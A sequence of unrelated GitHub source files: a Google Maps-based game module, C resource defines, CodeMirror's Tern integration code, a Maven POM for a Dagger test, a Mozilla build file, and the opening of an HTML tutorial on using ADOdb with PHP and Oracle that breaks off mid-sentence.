app.Game.prototype.initMap_ = function() { this.map = new google.maps.Map(this.mapElem[0], { mapTypeId: google.maps.MapTypeId.ROADMAP, draggable: app.shared.utils.touchEnabled, heading: 0, mapTypeControl: false, overviewMapControl: false, panControl: false, rotateControl: false, scaleControl: false, scrollwheel: false, streetViewControl: false, tilt: 1, zoomControl: false, disableDoubleClickZoom: true, styles: [{ stylers: [{visibility: 'off'}] }, { featureType: 'administrative.country', elementType: 'geometry.stroke', stylers: [{visibility: 'on'}, {weight: 1}, {color: '#F6EFE2'}] }, { featureType: 'water', elementType: 'geometry.fill', stylers: [{visibility: 'on'}, {color: '#F6EFE2'}] }, { featureType: 'landscape', elementType: 'geometry.fill', stylers: [{visibility: 'on'}, {color: '#DFD7C5'}] } ] }); google.maps.event.addListener(this.map, 'zoom_changed', function() { this.countries.forEach(function(country) { country.visible && country.updateHitbox(); if (this.debug) { country.showBounds(); } }, this); }.bind(this)); google.maps.event.addListenerOnce(this.map, 'idle', function() { this.setupLevel_(); this.mapReady = true; if (this.startOnReady) { this.start(); } }.bind(this)); }; /** * Update on screen size change. * @private */ app.Game.prototype.updateSize_ = function() { this.map && this.map.fitBounds(this.mapBounds); }; /** * Stops the game as game over. Displays the game over screen as well. */ app.Game.prototype.gameover = function() { this.freezeGame(false); this.gameoverView.show(); window.santaApp.fire('sound-trigger', 'mercator_game_over'); window.santaApp.fire('analytics-track-game-over', { gameid: 'mercator', score: this.scoreboard.score, level: this.level, timePlayed: new Date - this.gameStartTime }); }; /** * Cleanup * @export */ app.Game.prototype.dispose = function() { if (this.isPlaying) { window.santaApp.fire('analytics-track-game-quit', { gameid: 'mercator', timePlayed: new Date - this.gameStartTime, level: this.level }); } this.freezeGame(false); window.cancelAnimationFrame(this.requestId); $(window).off('.mercator'); $(document).off('.mercator'); this.levelUp.dispose(); this.tutorial.dispose(); };
{ "pile_set_name": "Github" }
#define IDD_COMBO 98 #define IDT_COMBO 100 #define IDC_COMBO 101
{ "pile_set_name": "Github" }
// CodeMirror, copyright (c) by Marijn Haverbeke and others // Distributed under an MIT license: http://codemirror.net/LICENSE // Glue code between CodeMirror and Tern. // // Create a CodeMirror.TernServer to wrap an actual Tern server, // register open documents (CodeMirror.Doc instances) with it, and // call its methods to activate the assisting functions that Tern // provides. // // Options supported (all optional): // * defs: An array of JSON definition data structures. // * plugins: An object mapping plugin names to configuration // options. // * getFile: A function(name, c) that can be used to access files in // the project that haven't been loaded yet. Simply do c(null) to // indicate that a file is not available. // * fileFilter: A function(value, docName, doc) that will be applied // to documents before passing them on to Tern. // * switchToDoc: A function(name, doc) that should, when providing a // multi-file view, switch the view or focus to the named file. // * showError: A function(editor, message) that can be used to // override the way errors are displayed. // * completionTip: Customize the content in tooltips for completions. // Is passed a single argument—the completion's data as returned by // Tern—and may return a string, DOM node, or null to indicate that // no tip should be shown. By default the docstring is shown. // * typeTip: Like completionTip, but for the tooltips shown for type // queries. // * responseFilter: A function(doc, query, request, error, data) that // will be applied to the Tern responses before treating them // // // It is possible to run the Tern server in a web worker by specifying // these additional options: // * useWorker: Set to true to enable web worker mode. You'll probably // want to feature detect the actual value you use here, for example // !!window.Worker. // * workerScript: The main script of the worker. Point this to // wherever you are hosting worker.js from this directory. // * workerDeps: An array of paths pointing (relative to workerScript) // to the Acorn and Tern libraries and any Tern plugins you want to // load. Or, if you minified those into a single script and included // them in the workerScript, simply leave this undefined. (function(mod) { if (typeof exports == "object" && typeof module == "object") // CommonJS mod(require("../../lib/codemirror")); else if (typeof define == "function" && define.amd) // AMD define(["../../lib/codemirror"], mod); else // Plain browser env mod(CodeMirror); })(function(CodeMirror) { "use strict"; // declare global: tern CodeMirror.TernServer = function(options) { var self = this; this.options = options || {}; var plugins = this.options.plugins || (this.options.plugins = {}); if (!plugins.doc_comment) plugins.doc_comment = true; if (this.options.useWorker) { this.server = new WorkerServer(this); } else { this.server = new tern.Server({ getFile: function(name, c) { return getFile(self, name, c); }, async: true, defs: this.options.defs || [], plugins: plugins }); } this.docs = Object.create(null); this.trackChange = function(doc, change) { trackChange(self, doc, change); }; this.cachedArgHints = null; this.activeArgHints = null; this.jumpStack = []; this.getHint = function(cm, c) { return hint(self, cm, c); }; this.getHint.async = true; }; CodeMirror.TernServer.prototype = { addDoc: function(name, doc) { var data = {doc: doc, name: name, changed: null}; this.server.addFile(name, docValue(this, data)); CodeMirror.on(doc, "change", this.trackChange); return this.docs[name] = data; }, delDoc: function(id) { var found = resolveDoc(this, id); if (!found) return; CodeMirror.off(found.doc, "change", this.trackChange); delete this.docs[found.name]; this.server.delFile(found.name); }, hideDoc: function(id) { closeArgHints(this); var found = resolveDoc(this, id); if (found && found.changed) sendDoc(this, found); }, complete: function(cm) { cm.showHint({hint: this.getHint}); }, showType: function(cm, pos, c) { showContextInfo(this, cm, pos, "type", c); }, showDocs: function(cm, pos, c) { showContextInfo(this, cm, pos, "documentation", c); }, updateArgHints: function(cm) { updateArgHints(this, cm); }, jumpToDef: function(cm) { jumpToDef(this, cm); }, jumpBack: function(cm) { jumpBack(this, cm); }, rename: function(cm) { rename(this, cm); }, selectName: function(cm) { selectName(this, cm); }, request: function (cm, query, c, pos) { var self = this; var doc = findDoc(this, cm.getDoc()); var request = buildRequest(this, doc, query, pos); this.server.request(request, function (error, data) { if (!error && self.options.responseFilter) data = self.options.responseFilter(doc, query, request, error, data); c(error, data); }); }, destroy: function () { if (this.worker) { this.worker.terminate(); this.worker = null; } } }; var Pos = CodeMirror.Pos; var cls = "CodeMirror-Tern-"; var bigDoc = 250; function getFile(ts, name, c) { var buf = ts.docs[name]; if (buf) c(docValue(ts, buf)); else if (ts.options.getFile) ts.options.getFile(name, c); else c(null); } function findDoc(ts, doc, name) { for (var n in ts.docs) { var cur = ts.docs[n]; if (cur.doc == doc) return cur; } if (!name) for (var i = 0;; ++i) { n = "[doc" + (i || "") + "]"; if (!ts.docs[n]) { name = n; break; } } return ts.addDoc(name, doc); } function resolveDoc(ts, id) { if (typeof id == "string") return ts.docs[id]; if (id instanceof CodeMirror) id = id.getDoc(); if (id instanceof CodeMirror.Doc) return findDoc(ts, id); } function trackChange(ts, doc, change) { var data = findDoc(ts, doc); var argHints = ts.cachedArgHints; if (argHints && argHints.doc == doc && cmpPos(argHints.start, change.to) <= 0) ts.cachedArgHints = null; var changed = data.changed; if (changed == null) data.changed = changed = {from: change.from.line, to: change.from.line}; var end = change.from.line + (change.text.length - 1); if (change.from.line < changed.to) changed.to = changed.to - (change.to.line - end); if (end >= changed.to) changed.to = end + 1; if (changed.from > change.from.line) changed.from = change.from.line; if (doc.lineCount() > bigDoc && change.to - changed.from > 100) setTimeout(function() { if (data.changed && data.changed.to - data.changed.from > 100) sendDoc(ts, data); }, 200); } function sendDoc(ts, doc) { ts.server.request({files: [{type: "full", name: doc.name, text: docValue(ts, doc)}]}, function(error) { if (error) window.console.error(error); else doc.changed = null; }); } // Completion function hint(ts, cm, c) { ts.request(cm, {type: "completions", types: true, docs: true, urls: true}, function(error, data) { if (error) return showError(ts, cm, error); var completions = [], after = ""; var from = data.start, to = data.end; if (cm.getRange(Pos(from.line, from.ch - 2), from) == "[\"" && cm.getRange(to, Pos(to.line, to.ch + 2)) != "\"]") after = "\"]"; for (var i = 0; i < data.completions.length; ++i) { var completion = data.completions[i], className = typeToIcon(completion.type); if (data.guess) className += " " + cls + "guess"; completions.push({text: completion.name + after, displayText: completion.name, className: className, data: completion}); } var obj = {from: from, to: to, list: completions}; var tooltip = null; CodeMirror.on(obj, "close", function() { remove(tooltip); }); CodeMirror.on(obj, "update", function() { remove(tooltip); }); CodeMirror.on(obj, "select", function(cur, node) { remove(tooltip); var content = ts.options.completionTip ? ts.options.completionTip(cur.data) : cur.data.doc; if (content) { tooltip = makeTooltip(node.parentNode.getBoundingClientRect().right + window.pageXOffset, node.getBoundingClientRect().top + window.pageYOffset, content); tooltip.className += " " + cls + "hint-doc"; } }); c(obj); }); } function typeToIcon(type) { var suffix; if (type == "?") suffix = "unknown"; else if (type == "number" || type == "string" || type == "bool") suffix = type; else if (/^fn\(/.test(type)) suffix = "fn"; else if (/^\[/.test(type)) suffix = "array"; else suffix = "object"; return cls + "completion " + cls + "completion-" + suffix; } // Type queries function showContextInfo(ts, cm, pos, queryName, c) { ts.request(cm, queryName, function(error, data) { if (error) return showError(ts, cm, error); if (ts.options.typeTip) { var tip = ts.options.typeTip(data); } else { var tip = elt("span", null, elt("strong", null, data.type || "not found")); if (data.doc) tip.appendChild(document.createTextNode(" — " + data.doc)); if (data.url) { tip.appendChild(document.createTextNode(" ")); var child = tip.appendChild(elt("a", null, "[docs]")); child.href = data.url; child.target = "_blank"; } } tempTooltip(cm, tip); if (c) c(); }, pos); } // Maintaining argument hints function updateArgHints(ts, cm) { closeArgHints(ts); if (cm.somethingSelected()) return; var state = cm.getTokenAt(cm.getCursor()).state; var inner = CodeMirror.innerMode(cm.getMode(), state); if (inner.mode.name != "javascript") return; var lex = inner.state.lexical; if (lex.info != "call") return; var ch, argPos = lex.pos || 0, tabSize = cm.getOption("tabSize"); for (var line = cm.getCursor().line, e = Math.max(0, line - 9), found = false; line >= e; --line) { var str = cm.getLine(line), extra = 0; for (var pos = 0;;) { var tab = str.indexOf("\t", pos); if (tab == -1) break; extra += tabSize - (tab + extra) % tabSize - 1; pos = tab + 1; } ch = lex.column - extra; if (str.charAt(ch) == "(") {found = true; break;} } if (!found) return; var start = Pos(line, ch); var cache = ts.cachedArgHints; if (cache && cache.doc == cm.getDoc() && cmpPos(start, cache.start) == 0) return showArgHints(ts, cm, argPos); ts.request(cm, {type: "type", preferFunction: true, end: start}, function(error, data) { if (error || !data.type || !(/^fn\(/).test(data.type)) return; ts.cachedArgHints = { start: pos, type: parseFnType(data.type), name: data.exprName || data.name || "fn", guess: data.guess, doc: cm.getDoc() }; showArgHints(ts, cm, argPos); }); } function showArgHints(ts, cm, pos) { closeArgHints(ts); var cache = ts.cachedArgHints, tp = cache.type; var tip = elt("span", cache.guess ? cls + "fhint-guess" : null, elt("span", cls + "fname", cache.name), "("); for (var i = 0; i < tp.args.length; ++i) { if (i) tip.appendChild(document.createTextNode(", ")); var arg = tp.args[i]; tip.appendChild(elt("span", cls + "farg" + (i == pos ? " " + cls + "farg-current" : ""), arg.name || "?")); if (arg.type != "?") { tip.appendChild(document.createTextNode(":\u00a0")); tip.appendChild(elt("span", cls + "type", arg.type)); } } tip.appendChild(document.createTextNode(tp.rettype ? ") ->\u00a0" : ")")); if (tp.rettype) tip.appendChild(elt("span", cls + "type", tp.rettype)); var place = cm.cursorCoords(null, "page"); ts.activeArgHints = makeTooltip(place.right + 1, place.bottom, tip); } function parseFnType(text) { var args = [], pos = 3; function skipMatching(upto) { var depth = 0, start = pos; for (;;) { var next = text.charAt(pos); if (upto.test(next) && !depth) return text.slice(start, pos); if (/[{\[\(]/.test(next)) ++depth; else if (/[}\]\)]/.test(next)) --depth; ++pos; } } // Parse arguments if (text.charAt(pos) != ")") for (;;) { var name = text.slice(pos).match(/^([^, \(\[\{]+): /); if (name) { pos += name[0].length; name = name[1]; } args.push({name: name, type: skipMatching(/[\),]/)}); if (text.charAt(pos) == ")") break; pos += 2; } var rettype = text.slice(pos).match(/^\) -> (.*)$/); return {args: args, rettype: rettype && rettype[1]}; } // Moving to the definition of something function jumpToDef(ts, cm) { function inner(varName) { var req = {type: "definition", variable: varName || null}; var doc = findDoc(ts, cm.getDoc()); ts.server.request(buildRequest(ts, doc, req), function(error, data) { if (error) return showError(ts, cm, error); if (!data.file && data.url) { window.open(data.url); return; } if (data.file) { var localDoc = ts.docs[data.file], found; if (localDoc && (found = findContext(localDoc.doc, data))) { ts.jumpStack.push({file: doc.name, start: cm.getCursor("from"), end: cm.getCursor("to")}); moveTo(ts, doc, localDoc, found.start, found.end); return; } } showError(ts, cm, "Could not find a definition."); }); } if (!atInterestingExpression(cm)) dialog(cm, "Jump to variable", function(name) { if (name) inner(name); }); else inner(); } function jumpBack(ts, cm) { var pos = ts.jumpStack.pop(), doc = pos && ts.docs[pos.file]; if (!doc) return; moveTo(ts, findDoc(ts, cm.getDoc()), doc, pos.start, pos.end); } function moveTo(ts, curDoc, doc, start, end) { doc.doc.setSelection(start, end); if (curDoc != doc && ts.options.switchToDoc) { closeArgHints(ts); ts.options.switchToDoc(doc.name, doc.doc); } } // The {line,ch} representation of positions makes this rather awkward. function findContext(doc, data) { var before = data.context.slice(0, data.contextOffset).split("\n"); var startLine = data.start.line - (before.length - 1); var start = Pos(startLine, (before.length == 1 ? data.start.ch : doc.getLine(startLine).length) - before[0].length); var text = doc.getLine(startLine).slice(start.ch); for (var cur = startLine + 1; cur < doc.lineCount() && text.length < data.context.length; ++cur) text += "\n" + doc.getLine(cur); if (text.slice(0, data.context.length) == data.context) return data; var cursor = doc.getSearchCursor(data.context, 0, false); var nearest, nearestDist = Infinity; while (cursor.findNext()) { var from = cursor.from(), dist = Math.abs(from.line - start.line) * 10000; if (!dist) dist = Math.abs(from.ch - start.ch); if (dist < nearestDist) { nearest = from; nearestDist = dist; } } if (!nearest) return null; if (before.length == 1) nearest.ch += before[0].length; else nearest = Pos(nearest.line + (before.length - 1), before[before.length - 1].length); if (data.start.line == data.end.line) var end = Pos(nearest.line, nearest.ch + (data.end.ch - data.start.ch)); else var end = Pos(nearest.line + (data.end.line - data.start.line), data.end.ch); return {start: nearest, end: end}; } function atInterestingExpression(cm) { var pos = cm.getCursor("end"), tok = cm.getTokenAt(pos); if (tok.start < pos.ch && (tok.type == "comment" || tok.type == "string")) return false; return /\w/.test(cm.getLine(pos.line).slice(Math.max(pos.ch - 1, 0), pos.ch + 1)); } // Variable renaming function rename(ts, cm) { var token = cm.getTokenAt(cm.getCursor()); if (!/\w/.test(token.string)) return showError(ts, cm, "Not at a variable"); dialog(cm, "New name for " + token.string, function(newName) { ts.request(cm, {type: "rename", newName: newName, fullDocs: true}, function(error, data) { if (error) return showError(ts, cm, error); applyChanges(ts, data.changes); }); }); } function selectName(ts, cm) { var name = findDoc(ts, cm.doc).name; ts.request(cm, {type: "refs"}, function(error, data) { if (error) return showError(ts, cm, error); var ranges = [], cur = 0; for (var i = 0; i < data.refs.length; i++) { var ref = data.refs[i]; if (ref.file == name) { ranges.push({anchor: ref.start, head: ref.end}); if (cmpPos(cur, ref.start) >= 0 && cmpPos(cur, ref.end) <= 0) cur = ranges.length - 1; } } cm.setSelections(ranges, cur); }); } var nextChangeOrig = 0; function applyChanges(ts, changes) { var perFile = Object.create(null); for (var i = 0; i < changes.length; ++i) { var ch = changes[i]; (perFile[ch.file] || (perFile[ch.file] = [])).push(ch); } for (var file in perFile) { var known = ts.docs[file], chs = perFile[file];; if (!known) continue; chs.sort(function(a, b) { return cmpPos(b.start, a.start); }); var origin = "*rename" + (++nextChangeOrig); for (var i = 0; i < chs.length; ++i) { var ch = chs[i]; known.doc.replaceRange(ch.text, ch.start, ch.end, origin); } } } // Generic request-building helper function buildRequest(ts, doc, query, pos) { var files = [], offsetLines = 0, allowFragments = !query.fullDocs; if (!allowFragments) delete query.fullDocs; if (typeof query == "string") query = {type: query}; query.lineCharPositions = true; if (query.end == null) { query.end = pos || doc.doc.getCursor("end"); if (doc.doc.somethingSelected()) query.start = doc.doc.getCursor("start"); } var startPos = query.start || query.end; if (doc.changed) { if (doc.doc.lineCount() > bigDoc && allowFragments !== false && doc.changed.to - doc.changed.from < 100 && doc.changed.from <= startPos.line && doc.changed.to > query.end.line) { files.push(getFragmentAround(doc, startPos, query.end)); query.file = "#0"; var offsetLines = files[0].offsetLines; if (query.start != null) query.start = Pos(query.start.line - -offsetLines, query.start.ch); query.end = Pos(query.end.line - offsetLines, query.end.ch); } else { files.push({type: "full", name: doc.name, text: docValue(ts, doc)}); query.file = doc.name; doc.changed = null; } } else { query.file = doc.name; } for (var name in ts.docs) { var cur = ts.docs[name]; if (cur.changed && cur != doc) { files.push({type: "full", name: cur.name, text: docValue(ts, cur)}); cur.changed = null; } } return {query: query, files: files}; } function getFragmentAround(data, start, end) { var doc = data.doc; var minIndent = null, minLine = null, endLine, tabSize = 4; for (var p = start.line - 1, min = Math.max(0, p - 50); p >= min; --p) { var line = doc.getLine(p), fn = line.search(/\bfunction\b/); if (fn < 0) continue; var indent = CodeMirror.countColumn(line, null, tabSize); if (minIndent != null && minIndent <= indent) continue; minIndent = indent; minLine = p; } if (minLine == null) minLine = min; var max = Math.min(doc.lastLine(), end.line + 20); if (minIndent == null || minIndent == CodeMirror.countColumn(doc.getLine(start.line), null, tabSize)) endLine = max; else for (endLine = end.line + 1; endLine < max; ++endLine) { var indent = CodeMirror.countColumn(doc.getLine(endLine), null, tabSize); if (indent <= minIndent) break; } var from = Pos(minLine, 0); return {type: "part", name: data.name, offsetLines: from.line, text: doc.getRange(from, Pos(endLine, 0))}; } // Generic utilities var cmpPos = CodeMirror.cmpPos; function elt(tagname, cls /*, ... elts*/) { var e = document.createElement(tagname); if (cls) e.className = cls; for (var i = 2; i < arguments.length; ++i) { var elt = arguments[i]; if (typeof elt == "string") elt = document.createTextNode(elt); e.appendChild(elt); } return e; } function dialog(cm, text, f) { if (cm.openDialog) cm.openDialog(text + ": <input type=text>", f); else f(prompt(text, "")); } // Tooltips function tempTooltip(cm, content) { if (cm.state.ternTooltip) remove(cm.state.ternTooltip); var where = cm.cursorCoords(); var tip = cm.state.ternTooltip = makeTooltip(where.right + 1, where.bottom, content); function maybeClear() { old = true; if (!mouseOnTip) clear(); } function clear() { cm.state.ternTooltip = null; if (!tip.parentNode) return; cm.off("cursorActivity", clear); cm.off('blur', clear); cm.off('scroll', clear); fadeOut(tip); } var mouseOnTip = false, old = false; CodeMirror.on(tip, "mousemove", function() { mouseOnTip = true; }); CodeMirror.on(tip, "mouseout", function(e) { if (!CodeMirror.contains(tip, e.relatedTarget || e.toElement)) { if (old) clear(); else mouseOnTip = false; } }); setTimeout(maybeClear, 1700); cm.on("cursorActivity", clear); cm.on('blur', clear); cm.on('scroll', clear); } function makeTooltip(x, y, content) { var node = elt("div", cls + "tooltip", content); node.style.left = x + "px"; node.style.top = y + "px"; document.body.appendChild(node); return node; } function remove(node) { var p = node && node.parentNode; if (p) p.removeChild(node); } function fadeOut(tooltip) { tooltip.style.opacity = "0"; setTimeout(function() { remove(tooltip); }, 1100); } function showError(ts, cm, msg) { if (ts.options.showError) ts.options.showError(cm, msg); else tempTooltip(cm, String(msg)); } function closeArgHints(ts) { if (ts.activeArgHints) { remove(ts.activeArgHints); ts.activeArgHints = null; } } function docValue(ts, doc) { var val = doc.doc.getValue(); if (ts.options.fileFilter) val = ts.options.fileFilter(val, doc.name, doc.doc); return val; } // Worker wrapper function WorkerServer(ts) { var worker = ts.worker = new Worker(ts.options.workerScript); worker.postMessage({type: "init", defs: ts.options.defs, plugins: ts.options.plugins, scripts: ts.options.workerDeps}); var msgId = 0, pending = {}; function send(data, c) { if (c) { data.id = ++msgId; pending[msgId] = c; } worker.postMessage(data); } worker.onmessage = function(e) { var data = e.data; if (data.type == "getFile") { getFile(ts, data.name, function(err, text) { send({type: "getFile", err: String(err), text: text, id: data.id}); }); } else if (data.type == "debug") { window.console.log(data.message); } else if (data.id && pending[data.id]) { pending[data.id](data.err, data.body); delete pending[data.id]; } }; worker.onerror = function(e) { for (var id in pending) pending[id](e); pending = {}; }; this.addFile = function(name, text) { send({type: "add", name: name, text: text}); }; this.delFile = function(name) { send({type: "del", name: name}); }; this.request = function(body, c) { send({type: "req", body: body}, c); }; } });
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!-- Copyright (C) 2013 Square, Inc. Copyright (C) 2013 Google, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.example.dagger.tests</groupId> <artifactId>multiple-modules-setvalues</artifactId> <version>HEAD-SNAPSHOT</version> <name>Dagger Integration Test Basic</name> <dependencies> <dependency> <groupId>@dagger.groupId@</groupId> <artifactId>dagger</artifactId> <version>@dagger.version@</version> </dependency> <dependency> <groupId>@dagger.groupId@</groupId> <artifactId>dagger-compiler</artifactId> <version>@dagger.version@</version> <optional>true</optional> </dependency> </dependencies> <build> <plugins> <plugin> <artifactId>maven-compiler-plugin</artifactId> <version>3.1</version> <configuration> <source>1.5</source> <target>1.5</target> </configuration> </plugin> </plugins> </build> </project>
{ "pile_set_name": "Github" }
# -*- Mode: python; indent-tabs-mode: nil; tab-width: 40 -*- # vim: set filetype=python: # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. LOCAL_INCLUDES += [ '..', ] UNIFIED_SOURCES += [ 'TestProfileLock.cpp', ] if CONFIG['OS_ARCH'] == 'Linux' and CONFIG['OS_TARGET'] != 'Android': UNIFIED_SOURCES += [ 'TestProfileLockRetry.cpp', ] FINAL_LIBRARY = 'xul-gtest'
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <style> pre { background-color: #eee; padding: 0.75em 1.5em; font-size: 12px; border: 1px solid #ddd; } .greybg { background-color: #eee; padding: 0.75em 1.5em; font-size: 12px; border: 1px solid #ddd; } .style1 {color: #660000} </style> <title>ADOdb with PHP and Oracle</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </style> </head> <body> <table width=100%><tr><td> <h2>Using ADOdb with PHP and Oracle: an advanced tutorial</h2> </td><td><div align="right"><img src=cute_icons_for_site/adodb.gif width="88" height="31"></div></tr></table> <p>v5.20.3 01-Jan-2016<br> &copy; 2000-2013 John Lim (jlim#natsoft.com)<br> &copy; 2014 Damien Regad, Mark Newnham and the ADOdb community</p> <h3>1. Introduction</h3> <p>Oracle is the most popular commercial database used with PHP. There are many ways of accessing Oracle databases in PHP. These include:</p> <ul> <li>The oracle extension</li> <li>The oci8 extension</li> <li>PEAR DB library</li> <li>ADOdb library</li> </ul> <p>The wide range of choices is confusing to someone just starting with Oracle and PHP. I will briefly summarize the differences, and show you the advantages of using <a href="http://adodb.sourceforge.net/">ADOdb</a>. </p> <p>First we have the C extensions which provide low-level access to Oracle functionality. These C extensions are precompiled into PHP, or linked in dynamically when the web server starts up. Just in case you need it, here's a <a href="http://www.oracle.com/technetwork/articles/dsl/technote-php-instant-12c-2088811.html">guide to installing Oracle and PHP on Linux</a>.</p> <table width="75%" border="1" align="center"> <tr valign="top"> <td nowrap><b>Oracle extension</b></td> <td>Designed for Oracle 7 or earlier. This is obsolete.</td> </tr> <tr valign="top"> <td nowrap><b>Oci8 extension</b></td> <td> Despite it's name, which implies it is only for Oracle 8i, this is the standard method for accessing databases running Oracle 8i, 9i or 10g (and later).</td> </tr> </table> <p>Here is an example of using the oci8 extension to query the <i>emp</i> table of the <i>scott</i> schema with bind parameters: <pre> $conn = OCILogon("scott","tiger", $tnsName); $stmt = OCIParse($conn,"select * from emp where empno > :emp order by empno"); $emp = 7900; OCIBindByName($stmt, ':emp', $emp); $ok = OCIExecute($stmt); while (OCIFetchInto($stmt,$arr)) { print_r($arr); echo "&lt;hr>"; } </pre> <p>This generates the following output: <div class=greybg> Array ( [0] => 7902 [1] => FORD [2] => ANALYST [3] => 7566 [4] => 03/DEC/81 [5] => 3000 [7] => 20 ) <hr /> Array ( [0] => 7934 [1] => MILLER [2] => CLERK [3] => 7782 [4] => 23/JAN/82 [5] => 1300 [7] => 10 ) </div> <p>We also have many higher level PHP libraries that allow you to simplify the above code. The most popular are <a href="http://pear.php.net/">PEAR DB</a> and <a href="http://adodb.sourceforge.net/">ADOdb</a>. Here are some of the differences between these libraries:</p> <table width="75%" border="1" align="center"> <tr> <td><b>Feature</b></td> <td><b>PEAR DB 1.6</b></td> <td><b>ADOdb 4.52</b></td> </tr> <tr valign="top"> <td>General Style</td> <td>Simple, easy to use. Lacks Oracle specific functionality.</td> <td>Has multi-tier design. Simple high-level design for beginners, and also lower-level advanced Oracle functionality.</td> </tr> <tr valign="top"> <td>Support for Prepare</td> <td>Yes, but only on one statement, as the last prepare overwrites previous prepares.</td> <td>Yes (multiple simultaneous prepare's allowed)</td> </tr> <tr valign="top"> <td>Support for LOBs</td> <td>No</td> <td>Yes, using update semantics</td> </tr> <tr valign="top"> <td>Support for REF Cursors</td> <td>No</td> <td>Yes</td> </tr> <tr valign="top"> <td>Support for IN Parameters</td> <td>Yes</td> <td>Yes</td> </tr> <tr valign="top"> <td>Support for OUT Parameters</td> <td>No</td> <td>Yes</td> </tr> <tr valign="top"> <td>Schema creation using XML</td> <td>No</td> <td>Yes, including ability to define tablespaces and constraints</td> </tr> <tr valign="top"> <td>Provides database portability features</td> <td>No</td> <td>Yes, has some ability to abstract features that differ between databases such as dates, bind parameters, and data types.</td> </tr> <tr valign="top"> <td>Performance monitoring and tracing</td> <td>No</td> <td>Yes. SQL can be traced and linked to web page it was executed on. Explain plan support included.</td> </tr> <tr valign="top"> <td>Recordset caching for frequently used queries</td> <td>No</td> <td>Yes. Provides great speedups for SQL involving complex <i>where, group-by </i>and <i>order-by</i> clauses.</td> </tr> <tr valign="top"> <td>Popularity</td> <td>Yes, part of PEAR release</td> <td>Yes, many open source projects are using this software, including PostNuke, Xaraya, Mambo, Tiki Wiki.</td> </tr> <tr valign="top"> <td>Speed</td> <td>Medium speed.</td> <td>Very high speed. Fastest database abstraction library available for PHP. <a href="http://phplens.com/lens/adodb/">Benchmarks are available</a>.</td> </tr> <tr valign="top"> <td>High Speed Extension available</td> <td>No</td> <td>Yes. You can install the optional ADOdb extension, which reimplements the most frequently used parts of ADOdb as fast C code. Note that the source code version of ADOdb runs just fine without this extension, and only makes use of the extension if detected.</td> </tr> </table> <p> PEAR DB is good enough for simple web apps. But if you need more power, you can see ADOdb offers more sophisticated functionality. The rest of this article will concentrate on using ADOdb with Oracle. You can find out more about <a href="#connecting">connecting to Oracle</a> later in this guide.</p> <h4>ADOdb Example</h4> <p>In ADOdb, the above oci8 example querying the <i>emp</i> table could be written as:</p> <pre> include "/path/to/adodb.inc.php"; $db = NewADOConnection("oci8"); $db->Connect($tnsName, "scott", "tiger"); $rs = $db->Execute("select * from emp where empno>:emp order by empno", array('emp' => 7900)); while ($arr = $rs->FetchRow()) { print_r($arr); echo "&lt;hr>"; } </pre> <p>The Execute( ) function returns a recordset object, and you can retrieve the rows returned using $recordset-&gt;FetchRow( ). </p> <p>If we ignore the initial connection preamble, we can see the ADOdb version is much easier and simpler:</p> <table width="100%" border="1"> <tr valign="top" bgcolor="#FFFFFF"> <td width="50%" bgcolor="#e0e0e0"><b>Oci8</b></td> <td bgcolor="#e0e0e0"><b>ADOdb</b></td> </tr> <tr valign="top" bgcolor="#CCCCCC"> <td><pre><font size="1">$stmt = <b>OCIParse</b>($conn, "select * from emp where empno > :emp"); $emp = 7900; <b>OCIBindByName</b>($stmt, ':emp', $emp); $ok = <b>OCIExecute</b>($stmt); while (<b>OCIFetchInto</b>($stmt,$arr)) { print_r($arr); echo "&lt;hr>"; } </font></pre></td> <td><pre><font size="1">$recordset = $db-><b>Execute</b>("select * from emp where empno>:emp", array('emp' => 7900)); while ($arr = $recordset-><b>FetchRow</b>()) { print_r($arr); echo "&lt;hr>"; }</font></pre></td> </tr> </table> <p>&nbsp;</p> <h3>2. ADOdb Query Semantics</h3> <p>You can also query the database using the standard Microsoft ADO MoveNext( ) metaphor. The data array for the current row is stored in the <i>fields</i> property of the recordset object, $rs. MoveNext( ) offers the highest performance among all the techniques for iterating through a recordset: <pre> $rs = $db->Execute("select * from emp where empno>:emp", array('emp' => 7900)); while (!$rs->EOF) { print_r($rs->fields); $rs->MoveNext(); } </pre> <p>And if you are interested in having the data returned in a 2-dimensional array, you can use: <pre> $arr = $db->GetArray("select * from emp where empno>:emp", array('emp' => 7900)); </pre> <p>Now to obtain only the first row as an array: <pre> $arr = $db->GetRow("select * from emp where empno=:emp", array('emp' => 7900)); </pre> <p>Or to retrieve only the first field of the first row: <pre> $arr = $db->GetOne("select ename from emp where empno=:emp", array('emp' => 7900)); </pre> <p>For easy pagination support, we provide the SelectLimit function. The following will perform a select query, limiting it to 100 rows, starting from row 201 (row 1 being the 1st row): <pre> $offset = 200; $limitrows = 100; $rs = $db->SelectLimit('select * from table', $limitrows, $offset); </pre> <p>The $offset parameter is optional. <h4>Array Fetch Mode</h4> <p>When data is being returned in an array, you can choose the type of array the data is returned in. <ol> <li> Numeric indexes - use <font size="2" face="Courier New, Courier, mono">$connection-&gt;SetFetchMode(ADODB_FETCH_NUM).</font></li> <li>Associative indexes - the keys of the array are the names of the fields (in upper-case). Use <font size="2" face="Courier New, Courier, mono">$connection-&gt;SetFetchMode(ADODB_FETCH_ASSOC)</font><font face="Courier New, Courier, mono">.</font></li> <li>Both numeric and associative indexes - use <font size="2" face="Courier New, Courier, mono">$connection-&gt;SetFetchMode(ADODB_FETCH_BOTH).</font></li> </ol> <p>The default is ADODB_FETCH_BOTH for Oracle.</p> <h4><b>Caching</b></h4> <p>You can define a database cache directory using $ADODB_CACHE_DIR, and cache the results of frequently used queries that rarely change. This is particularly useful for SQL with complex where clauses and group-by's and order-by's. It is also good for relieving 